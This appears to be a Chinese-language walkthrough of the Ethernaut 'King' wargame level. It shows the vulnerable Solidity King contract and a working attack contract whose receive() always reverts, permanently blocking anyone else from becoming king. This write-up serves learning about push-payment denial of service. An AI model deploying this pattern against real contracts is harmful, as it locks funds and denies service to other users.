我們的目標是:
prize 更高的 Ether,成為 King。// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
    address king;
    uint256 public prize;
    address public owner;
    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }
    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }
    function _king() public view returns (address) {
        return king;
    }
}
在這個合約中,成為 King 的條件是向合約發送比目前 prize 更高的 Ether。當新的玩家支付足夠的金額時,King 合約會更新 king 為新的玩家地址,並將 msg.value 轉移給前一位 King。然而,當前的 King 是一個可以拒絕接收 Ether 的合約,從而導致 King 合約無法順利執行轉帳,交易失敗,合約進入 revert 狀態。
prize 轉給我們的攻擊合約時,攻擊合約會拒絕接收 Ether,導致轉帳失敗,從而阻止其他玩家成為新的 King。// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IKing {
    function prize() external view returns (uint256);
    function _king() external view returns (address);
}
contract Hack {
    constructor(address payable _target) payable {
        uint256 prize = IKing(_target).prize();
        
        // 向 King 合約發送 Ether 並成為新的 King
        (bool ok,) = _target.call{value: prize}("");
        require(ok, "tx failed");
    }
    // receive 函數,當收到來自 King 合約的 Ether 時直接中止
    receive() external payable {
        revert("I will not accept any funds");
    }
}
constructor 中,合約首先查詢 King 合約的 prize,並發送等量的 Ether 來成為 King。receive() 函數:該函數會阻止 King 合約向我們轉帳 Ether,這是攻擊的關鍵。當 King 合約嘗試給我們發送 Ether 時,交易會失敗,從而阻止合約繼續執行。Hack 被部署時,會發送 Ether 給 King 合約,並成為新的 King。receive() 函數會拒絕交易,導致 King 合約的交易失敗,從而阻止其他玩家奪取 King 的位置。